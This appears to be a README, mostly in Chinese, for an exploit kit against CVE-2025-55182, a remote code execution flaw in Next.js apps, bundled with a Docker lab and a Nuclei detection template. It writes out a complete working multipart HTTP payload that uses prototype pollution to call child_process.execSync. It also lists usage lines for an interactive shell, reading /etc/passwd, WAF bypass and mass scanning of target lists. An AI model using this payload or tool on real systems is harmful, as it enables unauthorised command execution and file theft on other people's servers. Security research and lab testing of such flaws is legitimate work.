
React2Shell-Exploit — Complete exploitation framework for CVE-2025-55182, including Python exploit, Docker vulnerable lab, Burp Suite manual and automated exploitation, Nuclei detection template, and validated testing workflow. Developed for penetration testing and educational research.
CVE-2025-55182 - Next.js RCE 远程代码执行
漏洞利用框架 + 漏洞环境 + Burp Suite 及 Nuclei 验证。
用于安全研究和渗透测试的完整利用框架与漏洞实验环境。
╔═══════════════════════════════════════════════════════════════╗
║ 🐺 React2Shell-Exploit-Kensei 🐺 ║
║ CVE-2025-55182 利用工具 ║
║ ║
║ 作者: Ruben Suxo - 道德黑客 (kensei) v2.5.0 ║
╚═══════════════════════════════════════════════════════════════╝
React2Shell-Exploit-Kensei 是一个全面工具包,用于利用 Next.js 应用程序中的高危远程代码执行漏洞 CVE-2025-55182。
它包括:
影响版本:
CVSS 评分: 10.0(严重)
✅ 自动利用 ✅ 交互式 Shell ✅ 命令执行 ✅ 文件读取 ✅ WAF 绕过 ✅ 批量扫描
您必须已安装 Docker 才能运行脆弱性实验室。
| 平台 | 安装链接 |
|---|---|
| Windows | https://docs.docker.com/desktop/install/windows/ |
| macOS | https://docs.docker.com/desktop/install/mac-install/ |
| Linux | https://docs.docker.com/engine/install/ |
验证安装:
docker --version
✅ Burp Suite 指南 ✅ Nuclei 模板 ✅ 完整示例
# 1. 克隆
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py
# 2. 启动实验室
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab
# 3. 漏洞利用
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"
python3 react2shell-exploit.py --url http://target.com --scan
python3 react2shell-exploit.py --url http://target.com --cmd "id"
python3 react2shell-exploit.py --url http://target.com --shell
python3 react2shell-exploit.py --url http://target.com --read /etc/passwd
python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass
python3 react2shell-exploit.py --list targets.txt --scan --threads 20
已验证可用的请求模板:
POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
预期响应:
"children":["__PAGE__?{\"out\":\"root\"}",{}]
手动测试 WHOAMI:

手动测试 IFCONFIG:

替代自动化检测方法:








已验证可用的命令:
nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml
输出:
[CVE-2025-55182] [http] [critical] http://target.com:3002/

作者: Ruben Suxo - 道德黑客 (kensei) 版本: 2.5.0 日期: 2025-12-06
本项目的构建基于以下研究与技术:
仅限授权安全测试。
未经授权的访问是非法的。请仅在你拥有或已获得明确测试许可的系统上使用。
MIT 许可证
🐺 以负责的方式黑掉地球
仅供教育目的。请遵守道德。